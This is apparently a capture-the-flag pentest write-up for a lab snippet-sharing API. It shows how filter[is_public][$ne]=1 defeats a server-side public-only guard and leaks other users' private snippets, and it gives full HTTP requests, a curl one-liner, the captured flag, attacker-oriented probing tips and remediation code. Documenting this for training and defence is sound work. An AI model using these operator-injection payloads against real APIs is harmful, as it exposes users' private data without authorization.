CopyPasta: Query-Operator Injection Bypasses a Public-Only Visibility Guard
Part 1: Pentest Report
Executive Summary
CopyPasta is a snippet-sharing application backed by a Node.js/Express JSON API. Its public snippet list endpoint enforces a server-side visibility guard (is_public=1) and also accepts a filter object supplied by the client in query-string bracket notation. Supplying a query operator on the guard field itself, filter[is_public][$ne]=1, neutralizes that visibility constraint, so an ordinary authenticated request returns private snippets belonging to other users, including an administrator’s private infrastructure runbook.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Query-operator injection neutralizes the is_public visibility guard |
High * | 6.5 | CWE-639, CWE-943 | GET /api/snippets/public |
* The High label reflects mass cross-user disclosure of all users’ private data, including administrator secrets. The raw CVSS v3.1 math with PR:L (a valid low-privilege account is required) is 6.5, which falls in the Medium band; the label is escalated on impact. If self-registration is open on the platform, PR:N raises the vector to 7.5 (High), which lands the number cleanly in the High band.
The finding is a single-request read that crosses a data-ownership boundary: our low-privilege account (id 5, haxor) reads private snippets owned by admin (id 1) and pythonista (id 3). The administrator’s disclosed record contains an internal runbook describing production database credential rotation and bastion access, and the private records carry a flag key confirming the boundary was crossed.
Objective
Read past the endpoint’s public-only snippet guardrail and capture the flag delivered on the private records.
Scope / Initial Access
# Target Application
URL: https://lab-1784420019701-kgkh7z.labs-app.bugforge.io
# Auth details
Bearer JWT (HS256), provided: {"id":5,"username":"haxor"}
Low-privilege account. No elevated role is needed for the finding.
The provided token is accepted on the API. The finding requires only a valid bearer token, not any specific role or ownership relationship to the disclosed data.
Reconnaissance: Mapping the public list endpoint and its filter surface
The endpoint documents itself. Snippet id 8 is a docs entry describing the filter parameter (filter[language]=python, filter[title]=...) and stating that the endpoint “only ever lists snippets that are marked public.” A no-filter baseline read established the normal response shape before any injection was attempted.
Facts that shaped the test plan:
GET /api/snippets/publicaccepts a filter object in query-string bracket notation (filter[field]=value), documented in snippetid 8for narrowing the list by stored fields.- The baseline (no filter) returns 7 snippets, ids
{1,2,3,5,6,7,8}, all withis_public=1. Ids4and9are absent from the public set. - The endpoint’s own documentation states it lists only public snippets, so a visibility guard is applied on the server independent of the client filter.
- The operator form
filter[field][$op]=valueis honored at the query layer ($neconfirmed), which is what made an operator on the guard field worth testing.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Node.js / Express JSON API |
| Auth | Bearer JWT (HS256) |
| Data model | Snippet store: id, user_id, title, code, language, is_public, share_code (UUID), like/comment counts |
| Query filter | filter parameter parsed into nested objects via query-string bracket notation; operator form filter[field][$ne]=v is honored at the query layer |
| Database | Not determined (no source access) |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/snippets/public |
GET | Bearer JWT | Lists is_public=1 snippets; accepts filter[...] params |
Known Users (observed in responses)
| Username | ID | Role |
|---|---|---|
| haxor | 5 | Our account (low-privilege) |
| admin | 1 | Administrator (owns private “infra runbook”) |
| pythonista | 3 | User (owns private “Password Generator”) |
| coder123 | 2 | User |
| webdev | 4 | User |
Attack Chain Visualization
┌────────────────────┐ ┌────────────────────┐ ┌────────────────────┐ ┌────────────────────┐
│ Authenticated GET │ │ Inject operator on │ │ Guard neutralized: │ │ Cross-user private │
│ /snippets/public │ ──▶ │ the guard field: │ ──▶ │ is_public=0 rows │ ──▶ │ data disclosed + │
│ 7 public rows │ │ filter[is_public] │ │ now returned │ │ flag in extra key │
│ (ids 4,9 withheld) │ │ [$ne]=1 │ │ (ids 4, 9) │ │ (admin runbook) │
└────────────────────┘ └────────────────────┘ └────────────────────┘ └────────────────────┘
Findings
F1: Query-operator injection neutralizes the is_public visibility guard
Severity: High (label escalated above the 6.5 PR:L math on mass cross-user disclosure of administrator data; PR:N if self-registration is open yields 7.5. See the Executive Summary footnote.)
CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
CWE: CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
Endpoint: GET /api/snippets/public
Authentication required: Yes (any valid low-privilege bearer JWT)
Description
The public snippet list endpoint applies a server-side visibility guard (is_public=1) and also accepts a filter object supplied by the caller in query-string bracket notation (filter[field]=value, filter[field][$op]=value). Supplying the operator form filter[is_public][$ne]=1 causes the response to include records with is_public=0, meaning the visibility guard no longer excludes private snippets. Because the client controls a filter operator acting on the same field the guard uses, the server-enforced constraint is neutralized from an ordinary authenticated request.
The exact query builder was not observed (no source access). Notably, plain-value override (filter[is_public]=0) and filter[id][$gt]=0 both returned nothing, while only the $ne operator form defeated the guard, so the behavior is not a simple object spread-merge. The root cause is stated at the request/response level only: the $ne operator on the guard field reaches the query layer and the visibility constraint is not enforced independently of the client filter.
Impact
Any authenticated user can read private snippets belonging to other users, including an administrator’s private infrastructure runbook.
Reproduction
Step 1: Baseline read (establish the public set)
GET /api/snippets/public HTTP/2
Host: lab-1784420019701-kgkh7z.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Response: 200, 7 snippets (ids 1,2,3,5,6,7,8), all is_public=1. No flag key is present. Ids 4 and 9 are absent.
Step 2: Inject the operator on the guard field
GET /api/snippets/public?filter[is_public][$ne]=1 HTTP/2
Host: lab-1784420019701-kgkh7z.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Response: 200, 9 snippets. Two additional records are now present, both owned by principals other than our account (id 5, haxor):
id 9,user_id 1(admin),is_public=0, title “infra runbook (private)”id 4,user_id 3(pythonista),is_public=0, title “Password Generator”
The two captures differ in content length (4127 vs 5330) and ETag, confirming distinct responses.
Step 3: Extract the flag
Each disclosed private record carries a flag key absent from the baseline response, and the administrator record’s code field holds the internal runbook:
{
"id": 9,
"user_id": 1,
"title": "infra runbook (private)",
"code": "# CopyPasta infrastructure ... Steps for rotating the production database\n# credentials, on-call access, and the staging bastion host. Kept private\n# to the admin account.",
"is_public": 0,
"username": "admin",
"flag": "bug{WijzsZT3PClby4W4fDyq9hV08rF08hVj}"
}
Equivalent one-liner:
curl -sk -G "$BASE/api/snippets/public" \
--data-urlencode 'filter[is_public][$ne]=1' \
-H "Authorization: Bearer $JWT"
Flag: bug{WijzsZT3PClby4W4fDyq9hV08rF08hVj}
Remediation
Fix 1: Enforce the visibility guard independent of the client filter, and allow-list filterable fields
The is_public=1 constraint must be applied on the server in a way the request filter cannot override, and the client filter object should be validated against an allow-list of filterable fields that excludes is_public and any other authorization-relevant column.
// BEFORE (Vulnerable): illustrative; exact query builder not observed.
// The client filter is translated through an operator map and applied to the
// query alongside the guard, so an operator on the guard field (is_public)
// reaches the query and neutralizes the intended visibility constraint.
// (Simplified: the observed endpoint ignored a plain filter[is_public]=0 and
// honored only the filter[is_public][$ne]=1 operator form, so the real builder
// is narrower than a plain object spread. The fix below holds either way.)
app.get('/api/snippets/public', auth, async (req, res) => {
const where = applyOperatorFilter({ is_public: 1 }, req.query.filter); // operator on is_public wins
const rows = await db.snippets.find(where);
res.json(rows);
});
// AFTER (Secure)
const FILTERABLE = new Set(['language', 'title', 'search']);
app.get('/api/snippets/public', auth, async (req, res) => {
const raw = req.query.filter || {};
const filter = {};
for (const key of Object.keys(raw)) {
if (FILTERABLE.has(key)) filter[key] = sanitizeValue(raw[key]); // plain values only
}
// Visibility guard applied last, outside the object the client controls, so it
// cannot be overridden or dropped by any supplied key or operator.
const rows = await db.snippets.find({ ...filter, is_public: 1 });
res.json(rows);
});
Additional recommendations:
- Reject or ignore
$-prefixed operator keys on fields that are not explicitly meant to accept operators, and never on authorization-relevant columns (is_public,user_id,deleted). - Apply the same allow-list and fixed-guard pattern to any other list endpoints that accept a filter object. The write-side sink and the per-snippet
share_codedirect-fetch path were not tested and may share the pattern. - Do not attach authorization-relevant values to records returned to the client; the
flagkey rode along on the disclosed private rows.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: the server-side visibility guard is bypassable via a filter operator the client controls, letting any authenticated user read other users’ private records.
- A03:2021 Injection: the operator form
filter[is_public][$ne]=1injects a query operator that alters the intended query semantics.
Tools Used
| Tool | Purpose |
|---|---|
| curl | Issuing the baseline and operator-injection requests |
| jq / grep | Inspecting JSON responses and diffing the baseline against the bypass capture |
References
- CWE-639: Authorization Bypass Through User-Controlled Key (cwe.mitre.org/data/definitions/639.html)
- CWE-943: Improper Neutralization of Special Elements in Data Query Logic (cwe.mitre.org/data/definitions/943.html)
- OWASP Top 10 2021: A01 Broken Access Control, A03 Injection
- OWASP API Security Top 10 2023: API1:2023 Broken Object Level Authorization
Part 2: Notes / Knowledge
Key Learnings
-
On a guard-enforced list endpoint that also accepts a filter object, attack the guard field with an operator; don’t select the hidden rows. When an endpoint enforces a visibility or ownership constraint (
is_public=1,owner_id=me,deleted=0) and also lets you pass a filter object, that guard is combined with your filter, so selecting the hidden rows by id can never survive it. The move that works is to target the guard field itself: sendfilter[is_public][$ne]=1to neutralize the constraint rather thanfilter[id][$in]=<hidden>to request the rows. On this engagement the id-selection attempts returned nothing while the operator onis_publicreturned every private snippet. The reframe (attack the guard, not the data) is stack-agnostic and applies to any filter-object surface: NoSQL$-operators, Sequelize/Knex operator maps, query-string bracket parsing. -
When a crafted filter or query returns empty, pull the unfiltered baseline before mutating the payload. An empty result set is ambiguous: it can mean the injection syntax failed, or that the rows you asked for are legitimately excluded upstream by a guard you have not accounted for. Fetch the endpoint with no filter first and diff the returned set against what you were selecting. Here the initial
filter[id][$in]=4,9looked broken, but the baseline showed ids4and9simply are not in the public set, which reframed the goal from “fix the$insyntax” to “defeatis_public.” Mutating syntax when the real problem is an upstream guard chases the wrong hypothesis. -
When a filter param supports operators, probe several operator forms of the guard field before calling the filter path dead. An operator map can be narrower than a plain spread-merge: it may honor
$newhile silently ignoring the plain value and$gton the same field. Treat a single-form miss as one untested combination, not proof the filter is inert. On this endpointfilter[is_public]=0andfilter[id][$gt]=0both returned nothing, whilefilter[is_public][$ne]=1returned everything, all on the same parameter. Probe the plain value plus$ne,$gt,$lt, and$inbefore concluding the filter cannot be bent.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Select private rows by id: filter[id][$in]=4,9 |
[] (empty) |
The is_public=1 guard is combined with the filter; a private id cannot satisfy is_public=1 |
Request a known-public id: filter[id]=8 |
[] (empty) |
Plain-value equality on id was not honored on this endpoint |
Plain-value guard override: filter[is_public]=0 |
[] (empty) |
The plain-value form did not override the guard; only the $ne operator form did |
Numeric operator on id: filter[id][$gt]=0 |
[] (empty) |
The $gt form was not honored here, unlike $ne |
Tags: #broken-access-control #authorization-bypass #query-operator-injection #idor #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-07-19